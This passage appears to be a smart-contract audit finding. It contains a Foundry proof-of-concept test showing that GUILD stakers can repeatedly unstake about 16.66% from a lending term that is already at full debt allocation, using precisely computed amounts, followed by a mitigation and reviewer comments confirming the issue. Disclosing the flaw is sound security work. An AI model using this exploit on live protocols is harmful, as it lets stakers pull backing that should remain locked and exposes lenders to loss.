_MAX_DELAY_BETWEEN_PARTIAL_REPAY, minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT, openingFee: 0, hardCap: _HARDCAP }) ); psm = new SimplePSM( address(core), address(profitManager), address(credit), address(pegToken) ); profitManager.initializeReferences(address(credit), address(guild), address(psm)); // roles core.grantRole(CoreRoles.GOVERNOR, governor); core.grantRole(CoreRoles.GUARDIAN, guardian); core.grantRole(CoreRoles.CREDIT_MINTER, address(this)); core.grantRole(CoreRoles.GUILD_MINTER, address(this)); core.grantRole(CoreRoles.GAUGE_ADD, address(this)); core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this)); core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm)); core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term)); core.grantRole(CoreRoles.CREDIT_MINTER, address(psm)); core.renounceRole(CoreRoles.GOVERNOR, address(this)); // add gauge guild.setMaxGauges(10); guild.addGauge(1, address(term)); } function testUnstakeAtFullDebtAllocation() public { // verify initial state LendingTerm.LendingTermParams memory params = term.getParameters(); assertEq(params.hardCap, _HARDCAP); assertEq(term.issuance(), 0); assertEq(credit.totalSupply(), 0); assertEq(psm.redeemableCredit(), 0); assertEq(guild.getGaugeWeight(address(term)), 0); assertEq(rlcm.buffer(), _HARDCAP); // 2 million GUILD is staked into term guild.mint(user, _HARDCAP); vm.startPrank(user); guild.incrementGauge(address(term), _HARDCAP); vm.stopPrank(); assertEq(guild.getGaugeWeight(address(term)), _HARDCAP); assertEq(guild.getUserWeight(user), _HARDCAP); // 2 million CREDIT is borrowed from term uint256 borrowAmount = _HARDCAP; uint256 collateralAmount = _HARDCAP; collateral.mint(borrower, collateralAmount); vm.startPrank(borrower); collateral.approve(address(term), collateralAmount); term.borrow(borrowAmount, collateralAmount); vm.stopPrank(); assertEq(term.issuance(), _HARDCAP); assertEq(rlcm.buffer(), 0); assertEq(credit.totalSupply(), _HARDCAP); // 2 million CREDIT is minted from PSM pegToken.mint(lender, _HARDCAP); vm.startPrank(lender); pegToken.approve(address(psm), _HARDCAP); psm.mint(lender, _HARDCAP); vm.stopPrank(); assertEq(credit.totalSupply(), _HARDCAP * 2); assertEq(psm.redeemableCredit(), _HARDCAP); // all 2 million loaned CREDIT gets redeemed in PSM by borrowers vm.startPrank(borrower); credit.approve(address(psm), _HARDCAP); psm.redeem(borrower, _HARDCAP); vm.stopPrank(); assertEq(credit.totalSupply(), _HARDCAP); assertEq(psm.redeemableCredit(), 0); // verify state assertEq(collateral.balanceOf(address(term)), _HARDCAP); assertEq(credit.balanceOf(borrower), 0); assertEq(credit.balanceOf(lender), _HARDCAP); assertEq(credit.totalSupply(), _HARDCAP); assertEq(term.issuance(), _HARDCAP); assertEq(psm.redeemableCredit(), 0); assertEq(rlcm.buffer(), 0); assertEq(guild.getGaugeWeight(address(term)), _HARDCAP); assertEq(guild.totalWeight(), _HARDCAP); assertEq(guild.getUserWeight(user), _HARDCAP); assertEq(profitManager.gaugeWeightTolerance(), 1.2e18); // user tries to unstake various amounts at debtCeiling, but correctly fails vm.startPrank(user); vm.expectRevert("GuildToken: debt ceiling used"); guild.decrementGauge(address(term), _HARDCAP); vm.expectRevert("GuildToken: debt ceiling used"); guild.decrementGauge(address(term), 500_000e18); vm.expectRevert("GuildToken: debt ceiling used"); guild.decrementGauge(address(term), 100e18); vm.stopPrank(); // user successfully unstakes ~16.66%, despite term being at full debt allocation uint256 totalUnstaked; uint256 correction; uint256 unstakeAmount = 333333333333333333333333; emit log_named_uint("Gauge Weight before unstake", guild.getGaugeWeight(address(term))); vm.startPrank(user); guild.decrementGauge(address(term), unstakeAmount); vm.stopPrank(); totalUnstaked += unstakeAmount; emit log_named_uint("Gauge Weight after 1st unstake", guild.getGaugeWeight(address(term))); verifyState(0, totalUnstaked); // user successfully unstakes another ~16.66% correction += 1; unstakeAmount = 277777777777777777777778; vm.startPrank(user); guild.incrementGauge(address(term), correction); // to handle rounding issues guild.decrementGauge(address(term), unstakeAmount); vm.stopPrank(); totalUnstaked += unstakeAmount; emit log_named_uint("Gauge Weight after 2nd unstake", guild.getGaugeWeight(address(term))); verifyState(correction, totalUnstaked); // user successfully unstakes another ~16.66% unstakeAmount = 231481481481481481481481; vm.startPrank(user); guild.decrementGauge(address(term), unstakeAmount); vm.stopPrank(); totalUnstaked += unstakeAmount; emit log_named_uint("Gauge Weight after 3rd unstake", guild.getGaugeWeight(address(term))); verifyState(correction, totalUnstaked); // user successfully unstakes another ~16.66% unstakeAmount = 192901234567901234567901; vm.startPrank(user); guild.decrementGauge(address(term), unstakeAmount); vm.stopPrank(); totalUnstaked += unstakeAmount; emit log_named_uint("Gauge Weight after 4th unstake", guild.getGaugeWeight(address(term))); verifyState(correction, totalUnstaked); // user successfully unstakes another ~16.66% correction += 5493827160493827160492; // to make calculations easier unstakeAmount = 161666666666666666666666; vm.startPrank(user); guild.incrementGauge(address(term), 5493827160493827160492); guild.decrementGauge(address(term), unstakeAmount); vm.stopPrank(); totalUnstaked += unstakeAmount; emit log_named_uint("Gauge Weight after 5th unstake", guild.getGaugeWeight(address(term))); verifyState(correction, totalUnstaked); // user successfully unstakes another ~16.66% unstakeAmount = 134722222222222222222222; vm.startPrank(user); guild.decrementGauge(address(term), unstakeAmount); vm.stopPrank(); totalUnstaked += unstakeAmount; emit log_named_uint("Gauge Weight after 6th unstake", guild.getGaugeWeight(address(term))); verifyState(correction, totalUnstaked); // user successfully unstakes another ~16.66% unstakeAmount = 112268518518518518518518; vm.startPrank(user); guild.decrementGauge(address(term), unstakeAmount); vm.stopPrank(); totalUnstaked += unstakeAmount; emit log_named_uint("Gauge Weight after 7th unstake", guild.getGaugeWeight(address(term))); verifyState(correction, totalUnstaked); // user successfully unstakes another ~16.66% unstakeAmount = 93557098765432098765432; vm.startPrank(user); guild.decrementGauge(address(term), unstakeAmount); vm.stopPrank(); totalUnstaked += unstakeAmount; emit log_named_uint("Gauge Weight after 8th unstake", guild.getGaugeWeight(address(term))); verifyState(correction, totalUnstaked); // user successfully unstakes another ~16.66% correction += 103395061728395061726; // to make calculations easier unstakeAmount = 77981481481481481481481; vm.startPrank(user); guild.incrementGauge(address(term), 103395061728395061726); guild.decrementGauge(address(term), unstakeAmount); vm.stopPrank(); totalUnstaked += unstakeAmount; emit log_named_uint("Gauge Weight after 9th unstake", guild.getGaugeWeight(address(term))); verifyState(correction, totalUnstaked); // user successfully unstakes another ~16.66% unstakeAmount = 64984567901234567901234; vm.startPrank(user); guild.decrementGauge(address(term), unstakeAmount); vm.stopPrank(); totalUnstaked += unstakeAmount; emit log_named_uint("Gauge Weight after 10th unstake", guild.getGaugeWeight(address(term))); verifyState(correction, totalUnstaked); // user successfully unstakes another ~16.66% correction += 160493827160493827; // to make calculations easier unstakeAmount = 54153833333333333333333; vm.startPrank(user); guild.incrementGauge(address(term), 160493827160493827); guild.decrementGauge(address(term), unstakeAmount); vm.stopPrank(); totalUnstaked += unstakeAmount; emit log_named_uint("Gauge Weight after 11th unstake", guild.getGaugeWeight(address(term))); verifyState(correction, totalUnstaked); // user successfully unstakes another ~16.66% unstakeAmount = 45128194444444444444444; vm.startPrank(user); guild.decrementGauge(address(term), unstakeAmount); vm.stopPrank(); totalUnstaked += unstakeAmount; emit log_named_uint("Gauge Weight after 12th unstake", guild.getGaugeWeight(address(term))); verifyState(correction, totalUnstaked); // user successfully unstakes another ~16.66% correction += 1; unstakeAmount = 37606828703703703703704; vm.startPrank(user); guild.incrementGauge(address(term), 1); guild.decrementGauge(address(term), unstakeAmount); vm.stopPrank(); totalUnstaked += unstakeAmount; emit log_named_uint("Gauge Weight after 13th unstake", guild.getGaugeWeight(address(term))); verifyState(correction, totalUnstaked); emit log_named_uint("Number of GUILD user has unstaked so far", totalUnstaked); // user can keep performing these calculations to unstake more GUILD // calculations occuring in `LendingTerm::debtCeiling`: // uint256 totalWeight = guild.totalTypeWeight(1); // uint256 gaugeWeight = totalWeight - unstakeAmount; // uint256 tolerance = profitManager.gaugeWeightTolerance(); // 1.2e18 // uint256 toleratedGaugeWeight = (gaugeWeight * tolerance) / 1e18; // totalWeight // uint256 debtCeilingBefore = (totalBorrowedCredit * toleratedGaugeWeight) / totalWeight; // 2_000_000e18 // ideal unstakeAmount ~= totalWeight + ((totalBorrowedCredit * totalWeight) / tolerance) *with a lot of precision* // a.k.a totalWeight * .16666... *high high precision* // the goal is to make `toleratedGaugeWeight == totalWeight`, assuming that totalBorrowedCredit == issuance } function verifyState(uint256 correction, uint256 unstaked) internal { // verify state assertEq(credit.totalSupply(), _HARDCAP); assertEq(term.issuance(), _HARDCAP); // issuance is at hardCap/debtCeiling assertEq(psm.redeemableCredit(), 0); assertEq(rlcm.buffer(), 0); // global debtCeiling hit assertEq(guild.getGaugeWeight(address(term)), _HARDCAP + correction - unstaked); assertEq(guild.totalWeight(), _HARDCAP + correction - unstaked); assertEq(guild.getUserWeight(user), _HARDCAP + correction - unstaked); } }
manual
An early check can be implemented to identify whether or not the gauge is currently using its full debt allocation. This check must be done before the gaugeWeight
is adjusted. If the current gauge, given its current gaugeWeight
, is utilizing its full debt allocation, then any attempt to unstake any amount of Guild should revert early.
Other
#0 - 0xSorryNotSorry
2024-01-05T15:04:18Z
The issue is well demonstrated, properly formatted, contains a coded POC. Marking as HQ.
#1 - c4-pre-sort
2024-01-05T15:04:23Z
0xSorryNotSorry marked the issue as high quality report
#2 - c4-pre-sort
2024-01-05T15:04:27Z
0xSorryNotSorry marked the issue as primary issue
#3 - c4-sponsor
2024-01-10T18:46:40Z
eswak (sponsor) confirmed
#4 - eswak
2024-01-10T18:46:47Z
Confirming this, thanks a lot for the quality of the report!
#5 - c4-judge
2024-01-29T01:28:03Z
Trumpero marked the issue as satisfactory
#6 - c4-judge
2024-01-31T13:35:53Z
Trumpero marked the issue as selected for report